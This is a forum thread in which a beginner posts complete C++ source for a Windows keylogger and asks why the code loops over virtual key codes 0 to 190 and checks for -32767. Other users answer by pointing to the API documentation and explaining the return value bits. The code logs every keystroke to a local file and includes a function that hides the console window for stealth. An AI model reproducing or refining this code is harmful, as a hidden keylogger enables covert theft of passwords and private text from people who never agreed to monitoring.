Understanding an odd for loop for key stroke logger

Howdy forum,
I've written a short key stroke logger with some help from my older brother, and was wondering what some of the segments meant and how they worked. I just need some help understanding some of the reasoning behind 1 line in particular, a for loop. "for(i = 0; i <= 190; i++){key logger writer function goes here()} is the line in question, I've put in other values instead of 190, but when I go to low the program fails to write the key strokes to the text file, and when I go higher, execution remains the same. Is the for loop for a frequency? or is it some kind of delay? Is 190 the maximum number of key strokes that can be written?

Thanks everyone, all answers are welcome and general advice on the program itself too.

PS is OUTPUT_FILE an object?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <iostream>
#include <windows.h>//library needed for "Winuser.h"
#include <Winuser.h>//needed for the windows function "GetAsyncKeyState()"
#include <stdio.h>//apparently this is needed for opening and closing files
using namespace std;

bool running = true;

int save(int key_stroke, char *file){
    if((key_stroke == 1)||(key_stroke == 2)){ //ASCII key stroke 1 is the left mouse button while 2 == right mouse button, this simply ignores those inputs
        return 0;
    }
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+"/*see bellow a+ assures data is not overwriten*/);


    if(key_stroke == VK_ESCAPE){
        fprintf(OUTPUT_FILE, "%s", " \"ESC\" ");
    }
    else if(key_stroke == 8){
        fprintf(OUTPUT_FILE, "%s", " \"BACKSPACE\" ");
    }
    else if(key_stroke == 32){
        fprintf(OUTPUT_FILE, "%s", " \"SPACE\" ");
    }
    else if(key_stroke == 13){
        fprintf(OUTPUT_FILE, "%s", "\n");
    }
    else if(key_stroke == VK_SHIFT){
        fprintf(OUTPUT_FILE, "%s", " \"SHIFT\" ");
    }
    else{
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
    }
/* for another char such as arrow keys control esc etc....
    else if(key_stroke == x key){
    fprintf(OUTPUT_FILE, "%s", "\"x key\"");
    }
*/

    fclose(OUTPUT_FILE);
    cout << key_stroke << endl;

    return 0;
}

void soStealthy(){//preforms stealth
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
}

// *********************** //

int main(){
    //soStealthy();
    char i;//holds data

    while(running == true){

        for(i = 0; i <= 190; i++){

            if(GetAsyncKeyState(i) == -32767){//Determines if a key is up or down, -32767 is value for when OS is about to process a key press: http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx
                save(i, "Log.txt");
            }
        }
    }

}
Your answer is right there in the MSDN hyperlink in the comment.
No it is not, I'm wondering about the for loop with the "<=190" not the windows function GetAsyncKeyState. Line 62 not 64.
Is it NOT the value of i the one thing that you pass to GetAsyncKeyState? And is that parameter NOT documented in the link there? Because I could have sworn it WAS explained there just 10 minutes ago.
No, ten minutes ago you told me to go look in a place I already did. I'm not trying to be rude but the site doesn't tell me anything, and neither have you. I need to know the significance of those numbers, 190 and -32767. All the site tells me is that the parameter for I is the "virtual key code." But I have no idea what that is, nor does that help me understand those numbers.
Wow, really? It didn't even tell you that those numbers are virtual key codes? It should have told you at least that. Now the question should become "what's a virtual key code?". And again, that link has a link that explains virtual key codes. Follow the bread crums until you land into something familiar and can then see the big picture and understand the whole thing.
Dude you need to chill out, this is forum to help noobies, not a place where you can think you're hot stuff and think that everything is easy. I know what virtual key codes are, I've used the for the special characters ESC Backspace Space and the regular alphabet. Each character has its own hexadecimal, and or decimal value, but you don't need me to tell you that of course. The point is, none of which have any connection to those numbers, 190 and -32767, and when I change the number 190 to be larger, nothing happens. But I need to know what that loop is doing to begin with. Why do I need that for loop? Why can't I just have the function in the if statement withing the infinite while loop?
I forgot about the -32767. I'll explain this, but I must warn you that you need to know about binary representations of numbers.

If you, once more, visit the MSDN page about the GetAsyncKeyState() function and read the section entitled Return Value because it is the return value the one being compared against this magic number of -32767, it will tell you that:

1. The most significant bit of the SHORT value will be set if the key is down.
2. The least significant bit of the SHORT value will be set if the key was pressed after the previous call to GetAsyncKeyState().

A SHORT value is a 2-byte value, or 16-bit value. The least significant bit is the rightmost if you use the Windows 7 calculator in Programmer mode, and the most significant one is the leftmost bit.

If you put those two bits together you get 10000000 00000001. Since SHORT is a signed number, the most significant bit is the minus sign. Under the two's complement system, that binary number is the decimal number -32767, as verified by the Windows 7 calculator.

Now, as you can see, it is bad to use magic numbers, so always use constants.

As for the values in the FOR loop I cannot possibly add a more clear explanation than what is already given by MSDN. The problem here is that you seem to be uncapable of relating the list of virtual key codes to what you have in your program. Is it because you are unfamiliar with hexadecimal notation, or because maybe you think a hexadecimal number is not a real, decimal number? I don't really know. You say you know what a virtual key code is, but how can that be if hex-binary-decimal is in the way? Or maybe I'm wrong. Maybe you do understand hex-binary-decimal just fine and I just cannot pin down why you cannot relate the numbers in the FOR loop to key codes, especially when it is spelled out so explicitly in MSDN.

Anyway, good luck.
Dude you need to chill out, this is forum to help noobies, not a place where you can think you're hot stuff and think that everything is easy.

Actually this is the forum for discussion about Windows related C++ programming. :B
Because I could have sworn it WAS explained there just 10 minutes ago.


That is because @OP likes to open multiple topics with same subject.
Topic archived. No new replies allowed.